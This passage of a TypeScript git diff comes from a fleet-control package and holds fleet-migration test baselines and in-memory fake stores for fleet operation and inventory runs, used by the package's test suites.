+      world.ops.push(`resolver:settlementFor:${deploymentKey(record)}`);
+      return settlementHost;
+    },
+    clock: MIGRATION_CLOCK,
+    routeAttestation: {
+      sleep: async () => {},
+    } satisfies Omit<AttestConvergedActiveRouteOptions, 'clock'>,
+  });
+}
+
+function successWorld(): WorldRun {
+  const ops: MigrationOpLogEntry[] = [];
+  const fenceViolations: string[] = [];
+  const specs = new Map<string, DeploymentSpec>();
+  const backends = new Map<string, ProvisioningBackend>();
+  const specsByDatabaseId = new Map<string, DeploymentSpec>();
+  const steady = new RecordingImmutableBackend(
+    ops,
+    specsByDatabaseId,
+    fenceViolations,
+  );
+  const moved = new RecordingImmutableBackend(
+    ops,
+    specsByDatabaseId,
+    fenceViolations,
+    {
+      stateArtifactDigest: MOVED_STATE_ARTIFACT_DIGEST,
+      policyHosts: ['narrow.example.test'],
+    },
+  );
+  const plain = new RecordingPlainBackend(
+    ops,
+    specsByDatabaseId,
+    fenceViolations,
+  );
+
+  const extfullOrigin = baseSpec('extfull');
+  const extfullSpec = baseSpec('extfull', {
+    modules: [{ name: 'worker.js', content: 'export default { release: 2 }' }],
+  });
+  const extfullActive = externalRelease(extfullOrigin);
+  const extfullRollback = externalRelease(
+    baseSpec('extfull', {
+      modules: [
+        { name: 'worker.js', content: 'export default { release: 0 }' },
+      ],
+    }),
+  );
+  const extfullTarget = steady.platformTargetFor(extfullOrigin);
+  const extfull = baseRecord('extfull', 'workers-for-platforms', {
+    artifactVersion: extfullActive.artifactVersion,
+    desiredSpecDigest: extfullActive.specDigest,
+    activeRelease: extfullActive,
+    rollbackRelease: extfullRollback,
+    platformTarget: extfullTarget,
+    outboundPolicy: extfullTarget.outboundPolicy,
+    platformResources: steady.platformResourcesFor(extfullOrigin),
+    applicationBindings: EMPTY_APPLICATION,
+    applicationResources: [],
+  });
+
+  const plainmultiOrigin = baseSpec('plainmulti', {
+    authoredBy: 'platform',
+  });
+  const plainmultiSpec = baseSpec('plainmulti', {
+    authoredBy: 'platform',
+    schemaVersion: 3,
+  });
+  const plainmulti = baseRecord('plainmulti', 'plain-worker', {
+    desiredSpecDigest: deploymentSpecDigest(plainmultiOrigin),
+  });
+  plain.seedLive(
+    'plainmulti',
+    liveDeployment({
+      tenantTag: 'plainmulti',
+      environment: ENVIRONMENT,
+      scriptName: plainmulti.scriptName,
+      databaseId: plainmulti.databaseId,
+      durableObjectBindings: [],
+      serviceBindings: [],
+      queueProducerBindings: [],
+      plainTextBindings: {},
+      secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'],
+      artifactVersion: 'v1',
+      desiredSpecDigest: deploymentSpecDigest(plainmultiOrigin),
+      schemaVersion: 1,
+      maintenance: HEALTHY_MAINTENANCE,
+    }),
+  );
+
+  // Platform-only changes preserve the applied D1 history.
+  const platformonlySpec = baseSpec('platformonly');
+  const platformonlyActive = externalRelease(platformonlySpec);
+  const platformonlyPriorTarget: ExternalPlatformTargetDescription = {
+    ...steady.platformTargetFor(platformonlySpec),
+    d1SchemaVersion: 2,
+    d1SchemaHistoryDigest: PLATFORM_ONLY_PRIOR_D1_HISTORY_DIGEST,
+  };
+  const platformonly = baseRecord('platformonly', 'workers-for-platforms', {
+    schemaVersion: 2,
+    artifactVersion: platformonlyActive.artifactVersion,
+    desiredSpecDigest: platformonlyActive.specDigest,
+    activeRelease: platformonlyActive,
+    platformTarget: platformonlyPriorTarget,
+    outboundPolicy: platformonlyPriorTarget.outboundPolicy,
+    platformResources: {
+      maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+      stateWorker: {
+        scriptName: externalStateScriptName(platformonlySpec),
+        artifactVersion: 'state-v1',
+        artifactDigest: platformonlyPriorTarget.stateArtifactDigest,
+        durableObjectBindings: [],
+        namespaceIds: [],
+      },
+      egressProxy: {
+        scriptName: externalEgressProxyScriptName(platformonlySpec),
+        artifactVersion: 'egress-v1',
+        artifactDigest: EGRESS_ARTIFACT_DIGEST,
+        ...platformonlyPriorTarget.outboundPolicy,
+      },
+    },
+    applicationBindings: EMPTY_APPLICATION,
+    applicationResources: [],
+  });
+
+  const readysteadySpec = baseSpec('readysteady');
+  const readysteadyActive = externalRelease(readysteadySpec);
+  const readysteadyRollback = externalRelease(
+    baseSpec('readysteady', {
+      modules: [
+        { name: 'worker.js', content: 'export default { release: 0 }' },
+      ],
+    }),
+  );
+  const readysteadyRetiring = externalRelease(
+    baseSpec('readysteady', {
+      modules: [
+        { name: 'worker.js', content: 'export default { release: -1 }' },
+      ],
+    }),
+  );
+  const readysteadyTarget = steady.platformTargetFor(readysteadySpec);
+  const readysteady = baseRecord('readysteady', 'workers-for-platforms', {
+    artifactVersion: readysteadyActive.artifactVersion,
+    desiredSpecDigest: readysteadyActive.specDigest,
+    activeRelease: readysteadyActive,
+    rollbackRelease: readysteadyRollback,
+    retiringRelease: readysteadyRetiring,
+    platformTarget: readysteadyTarget,
+    outboundPolicy: readysteadyTarget.outboundPolicy,
+    platformResources: steady.platformResourcesFor(readysteadySpec),
+    applicationBindings: EMPTY_APPLICATION,
+    applicationResources: [],
+    settledSettlementKey: fleetSettlementKey({
+      tenantTag: 'readysteady',
+      environment: ENVIRONMENT,
+      specDigest: readysteadyActive.specDigest,
+      artifactVersion: readysteadyActive.artifactVersion,
+    }),
+  });
+
+  const records = [extfull, plainmulti, platformonly, readysteady];
+  for (const [record, spec, backend] of [
+    [extfull, extfullSpec, steady],
+    [plainmulti, plainmultiSpec, plain],
+    [platformonly, platformonlySpec, moved],
+    [readysteady, readysteadySpec, steady],
+  ] as const) {
+    specs.set(deploymentKey(record), spec);
+    backends.set(deploymentKey(record), backend);
+    specsByDatabaseId.set(record.databaseId, spec);
+  }
+
+  steady.releases.set(
+    extfullActive.physicalScriptName,
+    seededRelease(extfullOrigin, extfull),
+  );
+  steady.releases.set(
+    readysteadyActive.physicalScriptName,
+    seededRelease(readysteadySpec, readysteady, UNARMED_MAINTENANCE),
+  );
+  steady.routedScriptNames.set('extfull', extfullActive.physicalScriptName);
+  steady.routedScriptNames.set(
+    'readysteady',
+    readysteadyActive.physicalScriptName,
+  );
+  moved.releases.set(
+    platformonlyActive.physicalScriptName,
+    seededRelease(platformonlySpec, platformonly),
+  );
+  moved.routedScriptNames.set(
+    'platformonly',
+    platformonlyActive.physicalScriptName,
+  );
+
+  return { records, specs, backends, ops, fenceViolations };
+}
+
+export async function runFleetMigrationSuccessBaseline(): Promise<{
+  readonly result: readonly FleetRecord[];
+  readonly ops: readonly MigrationOpLogEntry[];
+}> {
+  const world = successWorld();
+  const result = await runWorld(world);
+  if (world.fenceViolations.length > 0) {
+    throw new Error(`fence violated: ${world.fenceViolations.join('; ')}`);
+  }
+  return { result, ops: world.ops };
+}
+
+// `bravo` stops the migration on a subphase drawn only from
+// `BACKEND_SWITCH_SUBPHASES`, so the refusal this baseline freezes cannot be
+// read as an `ExternalMigrationSubphase` of the same spelling.
+const STOP_REFUSAL =
+  "deployment 'bravo:production' has active backend switch 'candidate-deploy-authorized'";
+
+function stopWorld(): WorldRun {
+  const ops: MigrationOpLogEntry[] = [];
+  const fenceViolations: string[] = [];
+  const specs = new Map<string, DeploymentSpec>();
+  const backends = new Map<string, ProvisioningBackend>();
+  const specsByDatabaseId = new Map<string, DeploymentSpec>();
+  const plain = new RecordingPlainBackend(
+    ops,
+    specsByDatabaseId,
+    fenceViolations,
+  );
+
+  const alphaOrigin = baseSpec('alpha', { authoredBy: 'platform' });
+  const alphaSpec = baseSpec('alpha', {
+    authoredBy: 'platform',
+    schemaVersion: 2,
+  });
+  const alpha = baseRecord('alpha', 'plain-worker', {
+    desiredSpecDigest: deploymentSpecDigest(alphaOrigin),
+  });
+  plain.seedLive(
+    'alpha',
+    liveDeployment({
+      tenantTag: 'alpha',
+      environment: ENVIRONMENT,
+      scriptName: alpha.scriptName,
+      databaseId: alpha.databaseId,
+      durableObjectBindings: [],
+      serviceBindings: [],
+      queueProducerBindings: [],
+      plainTextBindings: {},
+      secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'],
+      artifactVersion: 'v1',
+      desiredSpecDigest: deploymentSpecDigest(alphaOrigin),
+      schemaVersion: 1,
+      maintenance: HEALTHY_MAINTENANCE,
+    }),
+  );
+
+  // A backend-switch refusal must stay distinguishable from migration progress
+  // even when their subphase literals match.
+  const bravoSpec = baseSpec('bravo');
+  const bravo = baseRecord('bravo', 'plain-worker', {
+    desiredSpecDigest: deploymentSpecDigest(bravoSpec),
+    backendSwitchIntent: {
+      kind: 'backend-switch',
+      tenantTag: 'bravo',
+      environment: ENVIRONMENT,
+      prior: {
+        scriptName: 'worker-bravo',
+        artifactVersion: 'plain-v1',
+        specDigest: deploymentSpecDigest(bravoSpec),
+        databaseId: 'db-bravo',
+        databaseName: 'database-bravo',
+        durableObjectBindings: [],
+        namespaceIds: [],
+        secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+        applicationResources: [],
+        customDomain: {
+          id: 'domain-bravo',
+          hostname: 'worker-bravo.example.test',
+        },
+      },
+      targetSpecDigest: deploymentSpecDigest(bravoSpec),
+      targetApplication: EMPTY_APPLICATION,
+      target: {
+        maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+        stateArtifactDigest: STATE_ARTIFACT_DIGEST,
+        stateDurableObjectHistoryDigest: STATE_DURABLE_OBJECT_HISTORY_DIGEST,
+        egressArtifactDigest: EGRESS_ARTIFACT_DIGEST,
+        d1SchemaVersion: bravoSpec.schemaVersion,
+        d1SchemaHistoryDigest: deploymentSpecDigest(bravoSpec),
+        outboundPolicy: canonicalDeploymentEgressPolicy({
+          policyId: externalPlatformResourceGroupId(bravoSpec),
+          tenantTag: 'bravo',
+          environment: ENVIRONMENT,
+          allowedHosts: ['api.example.test'],
+        }),
+      },
+      rollbackUntil: '2026-06-08T00:00:00.000Z',
+      subphase: 'candidate-deploy-authorized',
+    },
+  });
+
+  const charlieSpec = baseSpec('charlie', { authoredBy: 'platform' });
+  const charlie = baseRecord('charlie', 'plain-worker', {
+    desiredSpecDigest: deploymentSpecDigest(charlieSpec),
+  });
+
+  const records = [alpha, bravo, charlie];
+  for (const [record, spec] of [
+    [alpha, alphaSpec],
+    [bravo, bravoSpec],
+    [charlie, charlieSpec],
+  ] as const) {
+    specs.set(deploymentKey(record), spec);
+    backends.set(deploymentKey(record), plain);
+    specsByDatabaseId.set(record.databaseId, spec);
+  }
+
+  return { records, specs, backends, ops, fenceViolations };
+}
+
+export async function runFleetMigrationStopBaseline(): Promise<{
+  readonly error: string;
+  readonly ops: readonly MigrationOpLogEntry[];
+}> {
+  const world = stopWorld();
+  let caught: unknown;
+  let settled = false;
+  try {
+    await runWorld(world);
+    settled = true;
+  } catch (error) {
+    caught = error;
+  }
+  if (world.fenceViolations.length > 0) {
+    throw new Error(`fence violated: ${world.fenceViolations.join('; ')}`);
+  }
+  if (settled) {
+    throw new Error('the stop world resolved instead of refusing');
+  }
+  if (!(caught instanceof Error) || caught.message !== STOP_REFUSAL) {
+    throw new Error(
+      `the stop world refused with '${String(caught)}' instead of '${STOP_REFUSAL}'`,
+    );
+  }
+  return { error: caught.message, ops: world.ops };
+}
diff --git a/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts
new file mode 100644
index 00000000..001cef7d
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts
@@ -0,0 +1,829 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  FleetInventoryGeneration,
+  FleetInventoryGenerationRef,
+  FleetInventoryLease,
+  FleetInventoryRowKind,
+  FleetInventoryRunOptions,
+  FleetInventoryRunRecord,
+  FleetInventoryRunStore,
+  FleetInventoryStagedFact,
+  FleetInventoryStagedRow,
+} from '../../src/fleet-inventory-state.js';
+import { emptyFleetInventoryRowCounts } from '../../src/fleet-inventory-state.js';
+import {
+  canonicalFleetOperationBytes,
+  FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE,
+  FLEET_OPERATION_STAGE_BATCH_STATEMENTS,
+  type FleetOperationKind,
+  type FleetOperationLease,
+  type FleetOperationRowKind,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStateError,
+  type FleetOperationStore,
+  fleetOperationOtherKindMessage,
+  fleetOperationPageLimit,
+  fleetOperationStagedRowFromUnknown,
+  fleetOperationWatermarkRunMessage,
+} from '../../src/fleet-operation-state.js';
+import type {
+  FleetInventoryDeployment,
+  FleetResourceInventory,
+} from '../../src/types.js';
+
+// ---------------------------------------------------------------------------
+// In-memory FleetOperationStore and FleetInventoryRunStore fakes for the
+// bounded audit coordinator, the frozen clock their generation refs are
+// stamped with, and the seeded operation-id helper their rows are keyed by —
+// more than the operation fakes the file is named for. Suites that pin audit
+// behaviour against a fabricated world and suites that pin it against a real
+// ProviderWorld share these, so a change to the durable contract lands in one
+// place.
+// ---------------------------------------------------------------------------
+
+/**
+ * The frozen instant this fixture stamps finalized generation refs and run
+ * records with. It governs what this file writes, not what a consumer audits
+ * against: a consumer pins its own audit and authority clocks, which need not
+ * equal this instant. A further clock reaches the port through this fake's
+ * terminal writes, which stamp `terminalAtMs` from `Date.now()`, so a
+ * `finalizedAtMs` assertion reads the wall clock rather than a pinned one.
+ */
+export const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z');
+
+export function uuidFor(seed: number): string {
+  return `${seed.toString(16).padStart(8, '0')}-0000-4000-8000-000000000000`;
+}
+
+// ---------------------------------------------------------------------------
+// The FleetInventoryRunStore fake: registers a finalized generation directly
+// from a FleetResourceInventory, going through the real materialization codec.
+// Named for what it carries because `fleet-inventory-advance.test.ts` declares
+// its own local fake of the same interface for a different purpose.
+// ---------------------------------------------------------------------------
+
+function stageInventoryFixture(inventory: FleetResourceInventory): {
+  rows: FleetInventoryStagedRow[];
+  facts: FleetInventoryStagedFact[];
+  options: FleetInventoryRunOptions;
+} {
+  const rows: FleetInventoryStagedRow[] = [];
+  const facts: FleetInventoryStagedFact[] = [];
+  let ordinal = 0;
+  for (const finding of inventory.findings) {
+    rows.push({
+      kind: 'finding',
+      ordinal: ordinal++,
+      payload: { record: 'finding', ...finding },
+    });
+  }
+  ordinal = 0;
+  for (const registration of inventory.scriptRegistrations) {
+    rows.push({
+      kind: 'registration',
+      ordinal: ordinal++,
+      payload: { record: 'registration', ...registration },
+    });
+  }
+  ordinal = 0;
+  for (const deployment of inventory.deployments) {
+    const deploymentOrdinal = ordinal++;
+    const {
+      databaseIds,
+      durableObjectBindings,
+      serviceBindings,
+      queueProducerBindings,
+      kvNamespaceBindings,
+      r2BucketBindings,
+      secretNames,
+      plainTextBindings,
+      routeHostnames,
+      zoneRoutes,
+      ...identity
+    } = deployment as FleetInventoryDeployment & {
+      kvNamespaceBindings?: readonly Readonly<{
+        name: string;
+        namespaceId: string;
+      }>[];
+      zoneRoutes?: readonly Readonly<{ zoneId: string; routeId: string }>[];
+    };
+    rows.push({
+      kind: 'deployment',
+      ordinal: deploymentOrdinal,
+      payload: { record: 'deployment', ...identity },
+    });
+    let factOrdinal = 0;
+    for (const databaseId of databaseIds ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'database-id',
+        factOrdinal: factOrdinal++,
+        payload: { databaseId },
+      });
+    }
+    for (const binding of durableObjectBindings ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'durable-object-binding',
+        factOrdinal: factOrdinal++,
+        payload: { ...binding },
+      });
+    }
+    for (const binding of serviceBindings ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'service-binding',
+        factOrdinal: factOrdinal++,
+        payload: { ...binding },
+      });
+    }
+    for (const binding of queueProducerBindings ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'queue-producer-binding',
+        factOrdinal: factOrdinal++,
+        payload: { ...binding },
+      });
+    }
+    for (const binding of kvNamespaceBindings ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'kv-binding',
+        factOrdinal: factOrdinal++,
+        payload: { ...binding },
+      });
+    }
+    for (const binding of r2BucketBindings ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'r2-binding',
+        factOrdinal: factOrdinal++,
+        payload: { ...binding },
+      });
+    }
+    for (const secretName of secretNames ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'secret-name',
+        factOrdinal: factOrdinal++,
+        payload: { secretName },
+      });
+    }
+    for (const [name, text] of Object.entries(plainTextBindings ?? {})) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'plain-text-binding',
+        factOrdinal: factOrdinal++,
+        payload: { name, text },
+      });
+    }
+    for (const hostname of routeHostnames ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'route-hostname',
+        factOrdinal: factOrdinal++,
+        payload: { hostname },
+      });
+    }
+    for (const zoneRoute of zoneRoutes ?? []) {
+      facts.push({
+        deploymentOrdinal,
+        factKind: 'zone-route',
+        factOrdinal: factOrdinal++,
+        payload: { ...zoneRoute },
+      });
+    }
+  }
+  ordinal = 0;
+  for (const databaseId of inventory.databaseIds) {
+    rows.push({
+      kind: 'database-id',
+      ordinal: ordinal++,
+      payload: { record: 'database-id', databaseId },
+    });
+  }
+  ordinal = 0;
+  for (const namespaceId of inventory.namespaceIds) {
+    rows.push({
+      kind: 'namespace-id',
+      ordinal: ordinal++,
+      payload: { record: 'namespace-id', namespaceId },
+    });
+  }
+  ordinal = 0;
+  for (const bucket of inventory.r2Buckets ?? []) {
+    rows.push({
+      kind: 'r2-bucket',
+      ordinal: ordinal++,
+      payload: { record: 'r2-bucket', ...bucket },
+    });
+  }
+  ordinal = 0;
+  for (const route of inventory.routes) {
+    rows.push({
+      kind: 'route',
+      ordinal: ordinal++,
+      payload: { record: 'route', ...route },
+    });
+  }
+  const options: FleetInventoryRunOptions = {
+    databaseNamePrefix: 'fleet-',
+    scriptNamePrefix: 'fleet-',
+    includeDispatchNamespace: false,
+    includeR2Buckets: true,
+    ...(inventory.hostRoutingKvId === undefined
+      ? {}
+      : { hostRoutingKvId: inventory.hostRoutingKvId }),
+  };
+  return { rows, facts, options };
+}
+
+export class RegisteredGenerationInventoryRunStore
+  implements FleetInventoryRunStore
+{
+  readonly refs = new Map<number, FleetInventoryGenerationRef>();
+  readonly generations = new Map<
+    number,
+    { rows: FleetInventoryStagedRow[]; facts: FleetInventoryStagedFact[] }
+  >();
+  readonly runs = new Map<string, FleetInventoryRunRecord>();
+  readonly pins: { generation: number; pinnedBy: string }[] = [];
+  readonly releasedPins: { generation: number; pinnedBy: string }[] = [];
+  latestGeneration: number | undefined;
+  latestFinalizedGenerationCalls = 0;
+  readFinalizedGenerationCalls = 0;
+  readRunByOperationCalls = 0;
+  unreadableGenerations = new Set<number>();
+  pinFailsForGeneration: number | undefined;
+  /**
+   * When set, `latestFinalizedGeneration` throws it instead of answering, so
+   * an unwanted call fails its title outright rather than being counted after
+   * the fact: a title that must prove the method is never reached instruments
+   * it to fail rather than asserting a call count afterwards.
+   *
+   * Arming is the caller's job because this fake has no notion of "the replay
+   * path" and cannot detect one; a title arms it once its own legitimate call
+   * has returned. Arming it for every title would break the suite instead:
+   * `buildHarness` hands each title its own store, and EVERY implicit-generation
+   * start calls this method.
+   */
+  latestFinalizedGenerationError: Error | undefined;
+
+  registerFinalizedGeneration(
+    generation: number,
+    inventory: FleetResourceInventory,
+  ): void {
+    const { rows, facts, options } = stageInventoryFixture(inventory);
+    const rowManifest: Record<FleetInventoryRowKind, number> = {
+      ...emptyFleetInventoryRowCounts(),
+    };
+    for (const row of rows) {
+      rowManifest[row.kind] = (rowManifest[row.kind] ?? 0) + 1;
+    }
+    const operationId = uuidFor(900_000 + generation);
+    const ref: FleetInventoryGenerationRef = {
+      generation,
+      operationId,
+      finalizedAtMs: AUDIT_NOW,
+      rowManifest,
+      factCount: facts.length,
+    };
+    this.refs.set(generation, ref);
+    this.generations.set(generation, { rows, facts });
+    this.runs.set(operationId, {
+      version: 1,
+      operationId,
+      optionsDigest: `digest-${generation}`,
+      options,
+      state: 'finalized',
+      progress: {
+        stage: { step: 'finalize' },
+        generation,
+        revision: 1,
+        stagedCounts: rowManifest,
+        factCount: facts.length,
+        providerRequests: 0,
+      },
+      updatedAt: new Date(AUDIT_NOW).toISOString(),
+    });
+    this.latestGeneration = generation;
+  }
+
+  async withAccountInventoryLease<T>(
+    operation: (lease: FleetInventoryLease) => Promise<T>,
+  ): Promise<T> {
+    // The lease handed to the callback answers nothing: `assertOwned`
+    // rejects and no other member exists, so a caller that reaches for the
+    // lease path fails its title instead of reading fabricated state.
+    // `pinGeneration` and `releasePin` are store-level and take no lease.
+    return operation({
+      assertOwned: () => Promise.reject(new Error('unused')),
+    } as unknown as FleetInventoryLease);
+  }
+
+  async readFinalizedGeneration(
+    generation: number,
+  ): Promise<FleetInventoryGeneration> {
+    this.readFinalizedGenerationCalls += 1;
+    if (this.unreadableGenerations.has(generation)) {
+      throw new Error(
+        `fleet inventory generation ${generation} is not finalized`,
+      );
+    }
+    const ref = this.refs.get(generation);
+    const stored = this.generations.get(generation);
+    if (!ref || !stored) {
+      throw new Error(
+        `fleet inventory generation ${generation} is not finalized`,
+      );
+    }
+    return { ref, rows: stored.rows, facts: stored.facts };
+  }
+
+  async latestFinalizedGeneration(): Promise<
+    FleetInventoryGenerationRef | undefined
+  > {
+    this.latestFinalizedGenerationCalls += 1;
+    if (this.latestFinalizedGenerationError !== undefined) {
+      throw this.latestFinalizedGenerationError;
+    }
+    return this.latestGeneration === undefined
+      ? undefined
+      : this.refs.get(this.latestGeneration);
+  }
+
+  async readRunByOperation(
+    operationId: string,
+  ): Promise<FleetInventoryRunRecord | undefined> {
+    this.readRunByOperationCalls += 1;
+    return this.runs.get(operationId);
+  }
+
+  async pinGeneration(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void> {
+    if (this.pinFailsForGeneration === input.generation) {
+      throw new Error(
+        `fleet inventory generation ${input.generation} cannot be pinned`,
+      );
+    }
+    this.pins.push({ ...input });
+  }
+
+  async releasePin(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void> {
+    this.releasedPins.push({ ...input });
+  }
+
+  async pruneInventoryGenerations(): Promise<Readonly<{ deleted: number }>> {
+    return { deleted: 0 };
+  }
+}
+
+function payloadBytes(row: FleetOperationStagedRow): string {
+  return row.rowKind === 'record'
+    ? canonicalFleetOperationBytes(row.payload)
+    : JSON.stringify(row.payload);
+}
+
+// Head-scoped lease reads exercise the coordinator's head-independent fallback.
+export class FakeOperationStore implements FleetOperationStore {
+  readonly heads = new Map<FleetOperationKind, string>();
+  readonly operations = new Map<string, FleetOperationRunRecord>();
+  readonly intakeDigests = new Map<string, string>();
+  readonly rows = new Map<string, FleetOperationStagedRow[]>();
+  readonly locked = new Set<FleetOperationKind>();
+  readonly probeMiss = new Set<string>();
+  loseLeaseKind: FleetOperationKind | undefined;
+  leaseCount = 0;
+  readOperationByIdCalls = 0;
+  readonly rowPageReadCounts = new Map<FleetOperationRowKind, number>();
+  stagedRowCodecCalls = 0;
+  /**
+   * Runs on the NEXT `readOperationById` and disarms itself. One-shot on
+   * purpose: `readFleetAuditFindingsPage` and the start path's catch-all call
+   * the same method, so a hook armed for one coordinator call must not leak
+   * into either.
+   */
+  onNextReadOperationById: (() => void) | undefined;
+  loseNextSuccessfulCommitProgressResponse: Error | undefined;
+
+  #rowsKey(operationId: string, rowKind: FleetOperationRowKind): string {
+    return `${operationId}:${rowKind}`;
+  }
+
+  async withAccountOperationLease<T>(
+    kind: FleetOperationKind,
+    operation: (lease: FleetOperationLease) => Promise<T>,
+  ): Promise<T> {
+    if (this.locked.has(kind)) {
+      throw new Error(
+        `fleet ${kind} operations for account 'test' are already being modified`,
+      );
+    }
+    this.locked.add(kind);
+    this.leaseCount += 1;
+    const lost = this.loseLeaseKind === kind;
+    const lease: FleetOperationLease = {
+      assertOwned: async () => {
+        if (lost) {
+          throw new Error(
+            `fleet ${kind} operation lease for account 'test' is no longer owned by this operation`,
+          );
+        }
+      },
+      startOperation: async (input) => this.#startOperation(input),
+      // Head-scoped, where `D1FleetOperationStore` delegates this member to
+      // the head-independent `readOperationById` and so reaches a terminal
+      // row too. The coordinators fall back to `readOperationById` for a row
+      // the head no longer names — `abandonFleetAuditOperation` at the
+      // `run ?? readOperationById` read — so this answer exercises that
+      // fallback rather than hiding it.
+      readOperation: async (operationId) => {
+        const op = this.operations.get(operationId);
+        if (!op) return undefined;
+        return this.heads.get(op.kind) === operationId ? op : undefined;
+      },
+      stageRows: async (input) => this.#stageRows(input),
+      commitProgress: async (input) => {
+        const committed = await this.#commitProgress(input);
+        const lost = this.loseNextSuccessfulCommitProgressResponse;
+        if (lost === undefined) return committed;
+        this.loseNextSuccessfulCommitProgressResponse = undefined;
+        throw lost;
+      },
+      finalizeOperation: async (input) => this.#finalizeOperation(kind, input),
+      failOperation: async (input) => this.#failOperation(kind, input),
+    };
+    try {
+      return await operation(lease);
+    } finally {
+      this.locked.delete(kind);
+    }
+  }
+
+  async readOperationById(
+    operationId: string,
+  ): Promise<FleetOperationRunRecord | undefined> {
+    this.readOperationByIdCalls += 1;
+    const hook = this.onNextReadOperationById;
+    if (hook !== undefined) {
+      this.onNextReadOperationById = undefined;
+      hook();
+    }
+    if (this.probeMiss.has(operationId)) {
+      this.probeMiss.delete(operationId);
+      return undefined;
+    }
+    return this.operations.get(operationId);
+  }
+
+  async readOperationRowsPage(
+    input: Readonly<{
+      operationId: string;
+      rowKind: FleetOperationRowKind;
+      afterOrdinal?: number;
+      limit: number;
+    }>,
+  ): Promise<
+    Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }>
+  > {
+    this.rowPageReadCounts.set(
+      input.rowKind,
+      (this.rowPageReadCounts.get(input.rowKind) ?? 0) + 1,
+    );
+    const limit = fleetOperationPageLimit(input.limit);
+    const key = this.#rowsKey(input.operationId, input.rowKind);
+    const all = [...(this.rows.get(key) ?? [])].sort(
+      (left, right) => left.ordinal - right.ordinal,
+    );
+    const after = input.afterOrdinal ?? -1;
+    const filtered = all.filter((row) => row.ordinal > after);
+    const page = filtered.slice(0, limit);
+    return { rows: page, done: filtered.length <= limit };
+  }
+
+  async pruneFleetOperations(): Promise<
+    Readonly<{ deleted: number; releasedPins: number }>
+  > {
+    return { deleted: 0, releasedPins: 0 };
+  }
+
+  #startOperation(
+    input: Parameters<FleetOperationLease['startOperation']>[0],
+  ): ReturnType<FleetOperationLease['startOperation']> {
+    const { operationId, kind, runRecord, intakeDigest } = input;
+    const existing = this.operations.get(operationId);
+    if (existing) {
+      if (existing.kind !== kind) {
+        throw new Error(
+          `fleet operation '${operationId}' belongs to the other operation kind`,
+        );
+      }
+      if (this.intakeDigests.get(operationId) !== intakeDigest) {
+        throw new Error(
+          `fleet operation '${operationId}' already exists with a different intake`,
+        );
+      }
+      return Promise.resolve({
+        outcome:
+          existing.state === 'running'
+            ? ('adopted-running' as const)
+            : ('adopted-terminal' as const),
+        record: existing,
+      });
+    }
+    if (this.heads.has(kind)) {
+      throw new Error(
+        `another fleet ${kind} operation is active for this account`,
+      );
+    }
+    this.operations.set(operationId, runRecord);
+    this.intakeDigests.set(operationId, intakeDigest);
+    this.heads.set(kind, operationId);
+    return Promise.resolve({ outcome: 'created' as const, record: runRecord });
+  }
+
+  #stageRows(input: Parameters<FleetOperationLease['stageRows']>[0]): void {
+    const { operationId } = input;
+    const rows = this.#validatedRows(input.rows);
+    for (
+      let offset = 0;
+      offset < rows.length;
+      offset += FLEET_OPERATION_STAGE_BATCH_STATEMENTS
+    ) {
+      const staged = new Map<string, FleetOperationStagedRow[]>();
+      for (const row of rows.slice(
+        offset,
+        offset + FLEET_OPERATION_STAGE_BATCH_STATEMENTS,
+      )) {
+        const key = this.#rowsKey(operationId, row.rowKind);
+        const list = staged.get(key) ?? [...(this.rows.get(key) ?? [])];
+        const existing = list.find((prior) => prior.ordinal === row.ordinal);
+        if (existing && payloadBytes(existing) !== payloadBytes(row)) {
+          throw new Error('immutable operation row payload differs');
+        }
+        if (!existing) list.push(row);
+        staged.set(key, list);
+      }
+      for (const [key, list] of staged) this.rows.set(key, list);
+    }
+  }
+
+  #commitProgress(
+    input: Parameters<FleetOperationLease['commitProgress']>[0],
+  ): ReturnType<FleetOperationLease['commitProgress']> {
+    const {
+      operationId,
+      expectedRevision,
+      runRecord,
+      rows: inputRows = [],
+      updateRows: inputUpdateRows = [],
+      expectedRowWatermarks = {},
+    } = input;
+    const rows = this.#validatedRows(inputRows);
+    const updateRows = this.#validatedRows(inputUpdateRows);
+    const mutationKeys = [...rows, ...updateRows].map(
+      (row) => `${row.rowKind}:${row.ordinal}`,
+    );
+    if (
+      updateRows.some((row) => row.rowKind !== 'item') ||
+      new Set(mutationKeys).size !== mutationKeys.length
+    ) {
+      throw new FleetOperationStateError();
+    }
+    if (
+      rows.length + updateRows.length + 1 >
+      FLEET_OPERATION_STAGE_BATCH_STATEMENTS
+    ) {
+      throw new Error(
+        `commitProgress exceeds the operation batch budget of ${FLEET_OPERATION_STAGE_BATCH_STATEMENTS} statements`,
+      );
+    }
+    for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) {
+      const below = rows.filter(
+        (row) => row.rowKind === rowKind && row.ordinal < (watermark as number),
+      );
+      const prefix = (watermark as number) - below.length;
+      if (below.some((row) => row.ordinal < prefix)) {
+        throw new Error(
+          fleetOperationWatermarkRunMessage(rowKind as FleetOperationRowKind),
+        );
+      }
+    }
+    const current = this.operations.get(operationId);
+    const matches =
